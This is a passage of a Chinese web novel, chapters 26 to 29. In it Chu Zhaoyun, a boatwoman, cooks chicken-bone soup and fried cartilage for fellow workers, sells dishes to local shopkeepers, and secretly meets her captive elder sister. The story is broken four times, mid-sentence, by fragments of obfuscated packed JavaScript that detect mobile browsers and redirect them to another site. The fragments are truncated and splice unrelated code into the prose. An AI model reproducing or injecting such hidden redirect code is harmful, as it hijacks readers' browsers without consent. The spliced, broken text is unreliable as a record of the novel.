RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010117|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刁氏的屋子,徐香荷正跟刁氏学习如何编竹筐。 褚朝云看着她一脸勤奋好学样,不禁笑道:“这么用功啊?” 徐香荷忙实诚道:“必须要用心多学些本事才是,如今你不但要养我和婶子,还得养春叶和蕙娘两位姑娘,我想多帮帮忙。” 褚朝云听罢不赞同道:“说什么养,咱们这叫共赢。” “共赢?” 徐香荷没听过这等新鲜词,脑袋瓜转悠了好一会儿,忽就眉开眼笑道:“这词听着好,听着舒服,好像我们也是能做大事的人了!” “嗯,那就先把你的大事放一放,赶紧过来吃饭吧。” 褚朝云今天累得不轻,一坐下来,就忙着往嘴巴里塞了块鱼片,又就了一口野慈姑块,配着吃感觉味道更鲜美了。 对于晚饭层出不穷的惊喜,徐香荷和刁氏也逐渐适应了,不过这蘸汤蘸水的吃法,还是看的他们直迷糊。 虽然有些话都问累了,可徐香荷还是不知疲倦道:“朝云,今天这做的又是什么呀?” “嗯……” 这一下倒给她问住了。 这道菜她是模仿现世的冷锅子钵钵鸡做的,不过俗话说得好,钵钵鸡里没有鸡,那她该怎么给这俩人解释? 接连吃了几口,她也没想出什么词来,就摆烂道:“这叫钵钵鸡!” 古代版的,褚朝云在心里补充。 话毕,果然对面的两人异口同声:“啥鸡?!!” 然后就问出了那个经典问题。 褚朝云乐得不行,一边挑个田螺出来嗦味儿,一边回应:“所以说好奇心不要那么旺盛,我说她叫钵钵鸡,那它就叫钵钵鸡。” 二人见状,也都捂嘴笑开了。 油灯照的小屋明亮,门拴的严,倒是跑不出去一丝光,三人围在一块风残云卷,不用半个时辰就干完了整盆吃食。 …… 翌日傍晚,褚朝云正焦急地等在厨房里,来回踱步数次,春叶总算下来了。 往雅间端的吃食未免落上灰尘,盘子上都会加个盖,春叶端着褚朝云提前装好的虾饼,又拿上壶酒,就要返回雅间去。 “朝云,钱我稍候送下来。” 她轻声说。 褚朝云立刻道:“不急不急,记得嘱咐柳文匡,吃前复炸下最好。” 春叶低声应了,就一步一步上了三层。 不一会儿,她下来送柳老板下船,飞快的将一包铜板塞给了褚朝云。 去掉自己留下的两成,小包里则是返给褚朝云的一百二十文整。 褚朝云激动的都顾不上回隔间,嗖的一下就躲进了茅房,将荷包取出,把这新得的一百二十文和之前的放在一起,颠颠重量,简直喜不自言! 果然,劳动人民的智慧不可估量!! 这下她和徐香荷的棉衣棉裤就全部都能解决了~ 褚朝云揣好荷包笑意依旧收不住,从茅房出来时正得意,一个不察,就撞到突然上船来的李婆子身上。 老妇被撞了个趔趄,抬手就骂:“哎呀你是瞎了不成,敢撞你祖奶奶!” 刁妇瞪眼瞧着是褚朝云,顿时不屑地哼出一声。 只不过,她的谩骂并未引起褚朝云的什么情绪,女子只怔怔地看向李婆子身后那人,呐呐半晌,差点就喊出一句“好久不见”。 26. 第 26 章 自从褚朝云划伤手臂被带走后,褚惜兰日日懊悔,若非她心眼实上了三婶的当,便不会连累两个小的。 可在褚郁被赵大他们拖走时,她却又一次胆怯了。 最终,褚朝云也被带走了,轮到她独自一人面对那伙凶神恶煞地歹人,褚惜兰总算清醒过来。 她决定想办法逃出去报官,以此弥补自己的愧疚。 她也不知李婆子为何要把他们带去另一处院子,日日关着他们却又好吃好喝,褚惜兰是农家女儿出身,干些粗活还成,哪里懂得吟诗作对,附庸风雅。 褚惜兰满脑子想的都是要如何逃离,忽一日听得李婆子要带他们去船上见客,女子有些害怕,想着故意学的慢些,好能拖延上几日想想办法。 可这些管事既然敢在光天化日之下干这种勾当,自然个个都是人精。 没两天,李婆子就察觉到了她的意图。 褚惜兰生平第一次挨鞭子,屈辱和思念亲人的愁苦同时在内心交织。 最终,她彻底绝望了。 就在想一死了之之时,她仿佛又看到了褚朝云自伤那日的场景,记忆中的三妹妹是个老实巴交又没什么主见的性子,尤其身子骨还弱,可三妹在面对危险时,却有那般强于旁人的对抗勇气。 再看看自己…… 褚惜兰抹掉眼泪,伸手拿过李婆子扔下的伤药,一点一点的往身上擦。 待伤好之后,她主动去求了李婆子,从此之后便用心的学。 以前的褚惜兰总觉得自己是长姐,虽说亲弟褚文词和自己是一包双胎,但总归是自己先从娘肚子里爬出来的。 再说下面还有几个小的,所以她这个长姐,不但要有担当,还得能抗事才行。 但褚家疼娃,家中这几个确实没经历过什么大风浪。 离开父母后的第一课,褚惜兰算是被迫学会了什么叫做隐忍。 可她之前好一通闹也算是得罪了李婆子,李婆子算着她排斥上船,就故意在正日子的前一晚先将褚惜兰带来船上。 李婆子明着说是为她好,要她提前见识见识,实则是要给褚惜兰一个下马威。 不成想,倒意外促成了这对姐妹的相见。 褚朝云的确没做好心理准备,没想到就这么一会儿的功夫,就撞上了褚惜兰。 二人四目相对,彼此眼中皆有惊讶,惦念和喜悦,可最后,却统统化为一种叫做纷乱的情绪,并强行压入了心底。 褚朝云面容恢复平静,甚至还能对着李婆子挤出假笑,她作揖似的让开了路,温声说道:“李管事您先请。” 这一动作,老婆子的吊脚眉顿时往上又提了提,随即瞧了眼褚惜兰,心中不禁纳闷。 虽说让这两姐妹碰头是个意外,可李婆子一向以折磨大家伙为乐趣,没能看到“两姐妹想要抱头痛哭又不敢”地狼狈样子,她便恼恨地哼出一声。 褚朝云前脚走,她后脚便呵斥褚惜兰,“呵,也就你是个傻的还惦记着她,自古只有富贵能同享,有了苦难谁不是保自个呢!她褚朝云不过是怕同你接触会挨了鞭子,这才吓得连句话都不敢言语。” 挑拨之后,像是没太过瘾,于是又朝女子离去的方向狠啐了一口:“我呸,什么狗东西!” 李婆子骂的甚是响亮。 而身旁着素色长裙,面化淡妆的褚惜兰却半声都没吭,她只乖顺的跟在李婆子身后,上木梯时,偷偷剜了老婆子一眼,又将手心里浸了血的帕子塞到袖口深处。 另一面,方才面对二人还笑意盈盈地褚朝云,这会儿已经无知无觉走到了船尾。 夜色深处,无人瞧得见她轻微抖动地身体和眼角即将滑出的泪,褚朝云脑子有些懵,迈步过来站了会儿,就又往船头走回去。 没几步后,却猛然停下脚步,抬着头有点迷蒙地看向水岸处的光亮。 她刚刚想做什么来着? 哦哦,柳文匡的生意做完了,她该回去歇息了。 对,她该歇息了。 褚朝云扶着木梯脚步踉跄,一下一下木讷的进了冗黑的窄道,“咣当”一声,她就撞到了平时闭眼都能绕开的障碍物上。 这一声响有些重,里侧的隔间门开了好几处,离木梯最近的船娘见是她下来,忙轻声询问:“朝云?你怎么了?” “我、我没事,没什么事。” 褚朝云摇了摇头,步子迈的慢了些。 正在刁氏那儿学习编竹筐的徐香荷,听到动静一个箭步冲出来,立即就把褚朝云带进了房间。 微弱的灯光下,二人发现褚朝云的脸色极差,还没等问,褚朝云就取出荷包递给刁氏:“烦劳婶子,下次下船给我和香荷一人做一身棉衣棉裤吧,荷包里的银钱足够了。” 刁氏很少见她这副蔫头耷脑的样子,接过钱也没太敢问,只能提醒一句:“那、那我现在就给你们量量尺寸。” 褚朝云起身要走,只说一句“给香荷量就行,我俩身形差不多”,就开门出去回了自己房间。 这日褚朝云睡得很早,连晚饭也没做。 - 直到次日清晨,女子洗漱后从洗漱房走出来时,面上才重新展露笑颜。 身后排队的船娘见了她,忙也笑着打招呼:“朝云你也太勤快了,每次都是第一个起来。” “习惯啦,而且早些干完活也能早休息不是?” 她将头巾绑好,碎发拢好,撩开的一缕头发之下,眼皮却有些浮肿。 船娘瞧见,忙关心道:“哟,怎么弄的这是?你方婶子那还剩点消肿的药膏,你去问她要点擦上,这么肿着多难受。” 这人口中的“方婶子”叫方如梅,正是之前和褚朝云有过好几次接触的方脸船娘。 花船只有楼上雅间才有铜镜,褚朝云闻声又回了洗漱房,往盛着清水的盆子里照照,见这眼皮的确肿的厉害,就立刻出去找方如梅了。 二人抽空说了会儿话,方如梅还提到上次吃过的炸鱼杂,一脸的意犹未尽。 褚朝云“噗嗤”一乐,低声说道:“婶子们今晚别睡太早,我给你们送好吃的去。” 方如梅闻言一愣:“朝云,婶子知道你人好,但上次咱们是捡了那厨娘的漏,你可不行为了大家伙去、去——” 那个字说出来不好听,方如梅急的满脸通红。 她以为褚朝云是想去偷厨房的吃食。 褚朝云看明白了她的意思,顿时哭笑不得:“想太多了婶子,我是见那厨娘又剔除来一筐鸡骨头,待会儿我去要了来,晚上咱们就吃那个。” 一筐鸡骨头里有些也连着碎肉,除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020242|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却硬骨头,还有不少软骨在里面,褚朝云清早一上来,就已经打了这个主意。 未免厨娘的助手扔的快,她三两下抹匀药膏,提步便往厨房跑。 褚朝云跑的气喘吁吁,却在刚一过来,就瞧见那厨娘正站在门口,似乎是在等着谁。 见她来了,厨娘淡薄地点了下头:“我猜着你会来,就没扔掉。” 褚朝云听罢不好意思地挠挠头,立刻行了个礼来道谢:“多些姑娘,那就请把这筐骨头留给我吧。” 厨娘知晓她平日也会用厨房,一时对她产生些好奇,就顺口问了句:“敢问姑娘,上次的鱼杂,你是如何处理的?” 褚朝云飞快回应:“裹了面粉炸食,还有些红焖了吃的。” “姑娘精通厨艺?” 褚朝云忙摇头:“普通做个饭而已,厨艺可真谈不上,不敌姑娘万分之一。” 厨娘难得笑了下:“你并没吃过我做的饭,怎知自己连万分之一都不如我?” 褚朝云莞尔:“美食不用非要入口,闻闻味道便知了。” 厨娘点点头,似是预备进去忙了。 褚朝云在门边徘徊了会儿,见厨娘去柜子里拿调味料,便大着胆子请教道:“姑娘,能否告知我……给食物增添辛香的那味调料,是用的何物啊?” 说罢,也觉自己太唐突了,便退后一步,打算要走:“抱歉,是我话多了。” 厨娘转身看她,帷帽下的那张脸看不出什么情绪,就在褚朝云走出两步时,对方赫然开口:“茱萸。” “嗯?” 褚朝云复又停下。 厨娘声音柔婉,如轻风细雨,再次重复时,声调里依旧不带什么起伏:“用茱萸磨粉,只是这步骤不似你想的那样简单。” 厨娘虽没有要将细节一并告知的意图,但褚朝云却已经很满足了。 她不禁在心中想,原来是茱萸。 原来古人是用茱萸粉替代辣椒的,古人真聪明! 茱萸磨粉入味这事,倒也不算业内秘辛,稍微懂些厨艺的人都知晓,所以厨娘并没觉得褚朝云有什么冒犯。 她只是再想,船娘辛劳,每日重活累活缠身,可如此让人身心疲惫的工作,竟还有像褚朝云这样精神饱满,精力充沛的另类存在。 褚朝云得到自己想要的答案后,就提了桶去擦雅间。 昨个刚见过褚惜兰,这会儿她突然大起胆子,拿着打湿的布巾一边擦栏杆一边往西码头望。 观察的多了,她便能很快从其中锁定褚郁的身影。 小少年戴着和劳工们一样的幞头,穿的还是那身粗布衣裳,从前搬了箱子走起路还有些摇晃,这次在看,褚郁搬货的手法倒是娴熟了不少。 褚朝云发现他没有再挨工头的打,心中也算多了些安慰。 又望一眼对过掩藏在绿树从中的小院,褚朝云知道,褚惜兰此刻应当正坐在妆奁前上妆。 今个是新晋姑娘们正式上船的日子。 望着云层穿出来的一束晶亮,褚朝云总算笑了。 真好。 无论彼此身处何种绝境,只要他们能在一起,这就很好。 未来会更好的! 褚朝云低身将擦脏的布巾在清水中涮洗,再捞出来,便又和崭新的一样。 27. 第 27 章 褚朝云从雅间下来时,刁氏和徐香荷正站在船头显眼的位置处,以往早起若是没轮上扫雅间,这二人都习惯性去船尾做杂活。 原因很简单,在船头待着比较容易遇上管事,尤其是李婆子。 李婆子是三位管事里最刁钻的一个,手也长得很。 他们这些做苦工的船娘本只归属钟管事,可每每李婆子上船来,总会对着他们挑毛拣刺一番,大家没谁爱看她。 所以惹不起,便只能躲了。 褚朝云和刁氏对上一眼,立刻去一旁清洗脏水桶,又去船尾晾好布巾,就快步过来找他们了。 三人刚凑到一块,刁氏便叹息一声握住了她的手,“见你每日嘻嘻哈哈,我便总以为你是个心大的,如梅来跟我说你眼肿了,我才猛然记起今个是什么日子。” 徐香荷本就不太会掩饰自己的情绪,女子抬手摸了下褚朝云发红的眼皮,蹭到一手黏黏的药膏,嘴巴一瘪,低声问道:“你还好吗?朝云。” 褚朝云其实已经好多了。 刚刚在三层吹了好一会儿河风,眼皮已经比醒来时强上不少。 见这娘俩对她如此关切,眼圈便又有些红。 她难过,也并非是因为姐弟三人不能相聚,已经沦落到如此境地,哪敢奢求那许多。 她只是觉得,自己虽是李婆子口中的“下等船娘”,可好在身边还有刁氏和徐香荷陪着,再难过的岁月若有人同甘,日子总会松快不少。 可褚惜兰跟褚郁便不同了。 他们身处水深火热,身边却无人照应,心中的孤苦和无助,往往远胜于劳作带来的疲惫。 正彼此说着话,远远地,艞板那处便走上来一行人。 为首的李婆子趾高气昂,一手帕子一手烟袋,五十多岁的年纪却不如普通妇人端庄持重,挽起的发髻上明艳艳一朵娇嫩大红花,边走这露水还边往下滴。 偏她本人也没个自觉,一上船来就往钟管事身旁凑。 褚朝云的视线碰巧盯在钟管事脚下,也不知是不是错觉,李婆子抬脚往钟管事那迈的时候,钟管事就不动声色地挪开两步。 李婆子张口打招呼,眼一斜就斜到了她身上。 老妇抬手正正发髻间那朵红花,没来由的,就恶狠狠地白了她一眼,心内鄙夷这女子泥捏一般黑瘦。 正得意间,眼角陡然一皱,不禁又多瞧了褚朝云两眼。 褚朝云站在日光下,周身都被照的金灿灿,那小脸瘦是瘦的紧,但好像不似初见那般黑了? 不过这想法只在老妇心中打了个转,一说话的功夫便忘了。 毕竟不是自己重视的人,她才懒得管褚朝云什么鬼样子。 李婆子歪靠在船檐一侧和钟管事闲聊,手帕一挥,姑娘们就一前一后的往木梯上走。 平日姑娘们不会来的如此早,李婆子是怕他们第一天上工会出错,这才特意带过来,叫他们熟悉熟悉环境。 新晋的几位姑娘都是熟面孔,有些在看到褚朝云时还认得她,毕竟曾经大家伙都被关在一处院子,患难时相见,总会格外亲切。 但他们已经领教过花船的规矩,没哪个敢随便和旁人搭话,不过是依次和褚朝云对了对视线,就抬步上了木梯。 褚惜兰在最后一位,低头走路时有些微的恍神。 昨晚她已经见过朝云了,回去也是偷偷哭了好一会儿,本想着今日一定不能出错,上来时才没敢抬头。 李婆子字字句句的骂褚朝云,褚惜兰是知道她厌恶三妹的,所以自己更不能惹麻烦,尤其是不能连累三妹。 可有些时候,越是想努力做好一些事,就越是会出错。 二人错身而过,褚惜兰袖口的帕子便意外的落了地。 女子眼中惊诧,立刻弯身去捡,褚朝云也是本能的蹲下了身,帕子被两人同时拽在手中,褚朝云忙松开了手。 即便二人全程都没什么交流,李婆子还是兴奋的“哼”出一声,像是终于抓到褚朝云的短处,提步便要过来惩治。 就在此时,钟管事倏然喊了她一声,表情惯常的冷淡,也读不出本人是何情绪。 “你来,我有事与你相商。” 钟管事说完就往码头去。 李婆子恨恨一眼乜来,只得跟着钟管事走了。 两位管事全都离了花船后,船上众人才齐齐松了口气。 姑娘们已经进到雅间,船娘们也各自去忙自己的活,船头只剩褚朝云三人还没散。 徐香荷拍着胸脯,小脸一层白如纸般:“吓死了!那老刁妇实在可恶,刚刚又想来找朝云的茬,我都看出她的心思了!” “你看出也不要说出来,祸从口出。” 刁氏难得对她严厉。 徐香荷闷闷地点头,不过心中还是气不过—— 该死的刁妇,以为自己是天王老子活阎王吗? 我呸!! 她只能忿忿不平地在心中骂上几句。 “朝云,以后你再见那李婆子,最好绕着走些,她不是个好相与的。” 刁氏警醒褚朝云一句,便拽着徐香荷去一旁做活了。 方才那一幕,众人的关注点基本都在李婆子身上,可褚朝云却是一直在观察钟管事。 是她想多了吗? 总觉得钟管事是故意把李婆子带下船去的。 本以为要做棉衣棉裤还得些时日,不成想午时刚过,钟管事就来船上找褚朝云,蕙娘这两天不太舒服,想叫她做点好下咽的吃食送去,清淡点就成。 褚朝云放下没洗完的衣裳,去一旁净了手,就去厨房了。 厨娘用剩下的鸡肉还堆在小筐里,她随便拿出一条来,整块下去放锅子里煮,煮熟放凉,就撕成细长条备用。 取一些舂好的米下锅,火候差不多时放入一把切碎的小葱和鸡丝,搅和几下又下进去一只鸡蛋。 鸡蛋被埋在米粒中间,并未等全熟就出了锅。 褚朝云在小碗里点些芝麻和盐调味,等会儿蕙娘吃的时候用筷子破开蛋白,溏心的蛋黄流到粥上,一并吃起来口感就格外细腻。 这是她以前常做的一款粥,方便快捷还美味。 除了准备这个,她当然还没忘要给刘新才备点货送去。 没一会儿,刁氏拎着沉甸甸地食盒下了船,今个天气不错,日头照的人很舒爽,刁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14028477|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏走起路来都快上许多。 转眼来到面食铺子前,刘新才正站在灶台后包扁食,这会儿时间不当不正,没谁用饭,刘老板就趁着空隙把晚间要卖的吃食先做出来。 抬头一见是多日不曾出现的刁氏,刘新才表情顿时萎靡下来。 “哎哟我说刁娘子喂,您可真是叫我一通好等!” 刘新才每每见她都是这话,刁氏已经习惯了,不过这样给人供货确实要不得,也亏得刘新才脾气太好才没抱怨。 褚朝云给刘新才做了六十颗丸子并二十虾饼,刘新才照单全收,又热心的要请刁氏吃一碗扁食。 刁氏确实没空坐下来吃饭,但讨一碗水喝,时间还是有的。 刘新才给她倒了碗热水,索性和她聊上两句,“我昨个去柳老板那酒肆打酒,竟看到他家的下酒菜多添了一道炸虾饼,我说刁娘子,您姑娘那配方不会叫那老小子给偷了吧?” 其实也不怪刘新才瞎猜想,柳文匡做生意是挺有诚信,就是人很滑头。 来他这里吃过一次虾饼后,没几日自己那儿也摆上了,刘新才当然会多心。 不过说起这个,刁氏也正有话要告诉他。 来之前褚朝云特别跟刁氏提过,柳文匡的事情需要提一提,还有花船那边,倒也不必再瞒着了。 刁氏喝下几口热水,坐下来道:“先得跟你道一句抱歉刘老板,我家姑娘便是蕤河那条花船上的,柳老板没偷什么配方,他的货也是从姑娘那拿的。” 刘新才一听,恍悟的“噢噢噢”几声,随和的应道:“那就好,不过这也没什么,毕竟咱们又没讲好不许给别家供货嘛。” 说罢,他表情倏地一怔,顿觉不对:“那要这么说,您现在也在那——” “在的。” 刁氏知道他想说什么,似是不愿旁人听到,就先一步承认了。 刘新才错愕,半晌有些不解道:“不是刁娘子,您、您和您闺女——” “时候不早了,我该走了刘老板。” 刁氏歉意的点了点头。 她是不想一而再再而三的打断别人话的,可刘新才想说的,她却不想听。 提着食盒走出两步,刁氏才想起褚朝云交代的话还没说完,复又回来,“刘老板,天若是冷了,我可能就不太方便总下船了,若你还需要这些吃食,可以去船上找春叶姑娘或者蕙娘,你就能拿到货了。” 花船不是黑店,并非每次光顾都要大鱼大肉,有时候文人雅士或赶路经过的客商,坐下来喝一盏茶也是可以的。 刘新才心中有数后,笑着送刁氏:“多些刁娘子告知,我空了就会去的。” 刁氏在这儿耽误了半晌,便不敢再拖延,先一步去给蕙娘送饭。 从院子出来时,又去棉花行称了三斤下等棉,布匹铺子扯了足数的布,返回船上前,还买了一些茱萸回去。 褚朝云叫她多买一点,毕竟再冷,可就没得卖了。 刁氏忙完这些事,看看天色也不早了,就尽量加快步伐的往码头赶。 不过想着食盒里装的那些茱萸,她百思不得其解,这鬼灵精的丫头,突然要这些个茱萸来做什么呢? 28. 第 28 章 此刻,刁氏的暗仓内,褚朝云和徐香荷一边喝着热水一边叙话,刁氏推门进来,一股子热气扑面,妇人心头便也跟着暖和起来。 刘新才提那一嘴“闺女”,着实叫她揪心了一路,这会儿看到屋中场景,妇人偷偷掩面,擦去蕴在褶皱中的一抹湿润。 她坐下来先是瞥瞥二人,而后藏起一点笑意,故作刻薄道:“把我老婆子折腾了一个下午,你们二人倒是悠闲自在。” 褚朝云和徐香荷对视一眼,齐齐上手,一个捏肩一个捶腿。 褚朝云还假模假式地和她说:“婶子今个下船路过刘老板那儿,是不是吃了一碗扁食?” 刁氏闻言不解:“怎么讲?” 女子憋不住乐,边说边收回捏肩的手作势先躲:“一看就没少放那陈年老醋~” “妮子讨打!” 刁氏说着刚抬起手,褚朝云就已经闪去了门边上。 徐香荷老鹰捉小鸡似的伸手去拦,三人笑的上气不接下气。 一阵笑闹过后,刁氏轻喘两口气,靠在窄窗处一口口溜着白水,床边的食盒正摊开来,徐香荷飞快取出那三斤棉花和布匹,左摸右摸的不甚欢喜。 想到之前褚朝云提着耳朵叫她好好学做棉衣,徐香荷欣然一笑:“这两件衣裤我来做,我还要在袖口里缝个花样子呢。” “你还会缝花样?” 褚朝云倒是对这个有点兴趣。 徐香荷却摇了摇头,但表情并没失落,只是转身去看刁氏:“婶子一定会呢。” 刁氏面露为难,摊摊手说:“简单的缝补我还成,小女儿家钟爱的那些,我老婆子可真不懂,这可没办法教你,只能靠你自己琢磨了。” 听罢,徐香荷这才泄下气来。 须臾,刁氏似又想起了什么:“要说这绣工,春叶和蕙娘倒是精通的很,哪怕在楼上那一众姑娘里,他们也是能拔得头筹的。” 但这话并没安抚到徐香荷,徐香荷反而“唉”出一声,息了念头。 平时和姑娘说句话都难如登天,就更别提请教了。 褚朝云听后却不在意,笑着安慰她两句,“你急什么,这也不是什么好棉花,就先练着手,改日得了上等的好棉,我陪着你一块研究。” 褚朝云三言两语就说的徐香荷展露笑颜,刁氏看着她,不禁心中赞许。 “对了,这是剩回来的银钱,连带着刘老板的我也一并放里面了。” 刁氏把荷包递过去。 褚朝云拿出一些分给二人,荷包里还剩下一百二十五文,几乎比给出去时还少上一半。 褚朝云再次感叹了声这钱难赚,就拿着一大包茱萸回房了。 到了晚饭点她也没出去,刁氏就带着徐香荷去工头那象征性的领了几个馍,虽说他们晚饭已经不再吃这馍了,可样子还得装,免得引起管事们的注意。 每每雅间生意最红火时,也是船娘们最得闲的时刻。 褚朝云攒出来的竹条已经足数,刁氏把房门一关,窄窗压下,点起油灯开始指导徐香荷编竹筐。 经过棉衣那件事,徐香荷现下干什么劲头都足得很,牟足了劲儿的要多学技能,这几日不但缠着刁氏学编筐,连简单的拎兜,盛点心的竹盘也都一并学了去。 二人专心致志开展一对一教授,褚朝云在自个的屋里也没闲着。 她刚刚去刁氏那拿了许多细线回来,将那些小樱桃似的红色茱萸都串成了串,以前她都没见过茱萸,只知古人会在重阳节时登高饮酒插茱萸。 圆圆的果实表皮抹了油似的亮,躺在手中小小一颗,一小撮上有那么七八颗的样子,褚朝云拿它当辣椒串,没多久就全部串好了。 她将那些茱萸串拎在手中,依次挂到了窄窗上方的一排钉上。 月色浓稠,垂下来的暖银包裹着灯笼一样的硕果,瞧着还挺喜庆。 她是想把茱萸风干来做研究用,对,现阶段就只能称之为“研究”了,毕竟是从没接触过的新事物,还不知道能不能行。 不过这个时节想要风干食物总觉得有些晚了,应该在夏天,阳光充足的时候晾晒,大概效果会更好吧? 褚朝云倚在床侧慢悠悠想着,坐了好一会儿,就起身去厨房了。 若是楼上有生意,姑娘们会提前下来送信,她不能再像以前一样,每晚做完了活就窝进隔间里休息。 褚朝云索性搬了个小杌子,坐的稍微靠里,敞开的门板投来片阴影,恰好能挡住她。 免得往来取酒菜进门的婆子瞧见她,还要多嘴的问这问那。 坐下之后,她就将手臂抵在膝盖,撑着脸安静的发呆。 其实她内心是有些期盼褚惜兰会走进来的,不过想想也觉得不可能,今日和昨晚见到褚惜兰后,褚朝云便隐隐有所感知,褚惜兰似乎不像在院子里那般胆小怯懦了。 貌似有了一点改变? 她也不太敢确定,只是一种直觉。 毕竟,那一次虽不是“三妹”和褚惜兰的初次相见,却是她和褚家大姐儿第一次接触。 正胡思乱想的出神,便听门外传来一串急匆匆地脚步声,那步伐混乱又带了些许慌张,“哐”的撞了下厨房门板,弹过来的门板差点打到褚朝云。 褚朝云吓了一跳,起身就见门外冲进来一抹碧色身影。 春叶泪盈盈地进门,猛地和黑暗中的她对上视线,人便登时懵在原地。 褚朝云也多少有些闹不懂状况,不过也知这么傻站着不成,她便将春叶拉到门后,自己则端了壶酒佯装要出门去送。 船头,两名家丁模样的人正站在那左顾右盼,见褚朝云端酒过来,便定定看了两眼。 似是很快确认了什么,二人沮丧的摆了下手,转身又往楼上去了。 褚朝云迈步走到木梯旁,一双眼叽里咕噜的看,左右瞟瞟四下无人,一溜烟就又跑回厨房里。 放下酒壶后,她本想问问春叶,没成想女子早就不在门后了。 褚朝云在门口站了许久,恍惚间又记起此前帮婆子给蕙娘送酒那次,当时她听到有女子在哭,走近时又没了。 如今细细品来,那略带特点的声音,可不就跟春叶有些相像么。 虽说李婆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037588|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对姑娘们的言行都有过严苛地训练,可每个人音色不同,脾性不同,再怎么样,也不会完全变成一个模子刻的。 春叶的声音虽然也足够温软,可细听却有些冷。 不过今夜褚朝云却是白等,之后一直到花船歇业,春叶或是蕙娘也都没出现过。 褚朝云倒不着急,她知道生意这种事是急不来的。 歇业之后,小船重归宁静,褚朝云这才打了盆清水坐下,开始一点一点的清洗那筐鸡骨。 鸡骨上挂的碎肉不多,入手也不会很油腻,反复洗过几回,她便从其中挑出些软骨来,打了一只鸡蛋蘸上,又在面粉中滚了几圈,然后就放在一旁备用。 而那些洗过的鸡骨,则先被她用清水焯了一遍。 虽说是想熬一锅鸡骨汤,但对于荤食,她还是习惯性先过一水,过一水会干净些。 捞出的鸡骨再度放入过半的冷水里,又丢进去几片野姜,红枣和枸杞后,褚朝云低头勾了下灶膛里的火,开始慢慢的熬了起来。 红枣和枸杞都是厨房常年备着的,平时厨娘煲汤时也会使用。 想起上次方脸婶子还给了她一包酸梅粉,褚朝云取布巾擦擦手,大步回了隔间去拿。 那梅粉不便宜,她只节省的用了半包来冲水喝,还剩下一点就留下了,本打算哪日馋了再喝掉,没想却在今天派上用场。 细粉酸甜,但口封的并不严密。 不过褚朝云的小屋每日都开窗通风,且气候也逐渐干燥,闻着倒是也没变质。 回来之后又等了会儿,鸡骨汤就熬好了。 掀开锅盖一股子热气,熏得褚朝云眉眼都湿润了,鸡骨汤不需放什么花哨的调料,只撒些盐来调味,喝也是喝它汤中的鲜。 把鸡汤全都倒进盆里后,她又开始化油炸剩下的软骨。 眼瞧着一块块软骨滑进油中,哗啦啦的泛起油花,褚朝云不禁有点等不及了。 现世的炸鸡可是没少吃,但河里都是些河鲜,褚朝云原以为自己还得等上很久才能吃到炸鸡了。 虽然鸡骨上挂的肉不多,可炸鸡软骨并不输于鸡肉。 耐心地炸过一遍复又二次下锅,捞出后沥掉表面那层油脂,褚朝云将那半包酸梅粉均匀的洒在上面,又用筷子搅拌一番。 跟着放入口中一块咀嚼—— 唔! 嘎嘣脆!! 尤其有些软骨边缘还包裹着些筋,一咬滋滋冒油,而梅粉刚好又解了它的油腻。 褚朝云激动地简直想原地呐喊—— 家人们! 我是天才!! 又美滋滋捡了两块来吃后,褚朝云就端着一大盘炸软骨去了暗仓。 她白日里不叫方如梅他们早睡,大家伙果真都各自在屋里等着她,褚朝云依次分发了手中的炸食,又喊了几人跟她去端汤。 厨房里的碗是用之不尽的,可若要她全部把汤都端下去,汤冷了不说,她也要累死了。 不过大家还是守着规矩不踏进厨房,褚朝云也只叫他们站在木梯旁等,然后就一碗一碗的送到了他们手中。 29. 第 29 章 今夜的暗仓不似往常如死一般的沉寂,仿佛突然间活了过来。 褚朝云忙的一头一脸的汗,在最后一碗鸡骨汤递过去之后,她刷了锅,清理了一下厨房,就摘掉布巾重新包一遍头发,快步下了木梯。 碎发沾染到挂了汗的脖子上着实难受,褚朝云很想下河去洗一洗,但一估摸此刻水中的温度……还是等汗消了再说吧。 一路经过窄道,几间隔间的木门全都没关。 见是她回来了,船娘们都走来门旁跟她打招呼—— “朝云那,你这手艺真绝了,我有十几年没喝到过这样鲜美的汤水嘞!” “是呀是呀,早就忘了热汤水是个什么味道。” “还有那炸鸡软骨,撒的什么粉料酸酸甜甜的,我都有点不舍得吃完了。” “那炸食能放多久?想留下来慢慢的吃。” 几句话说的每个人都心头泛酸。 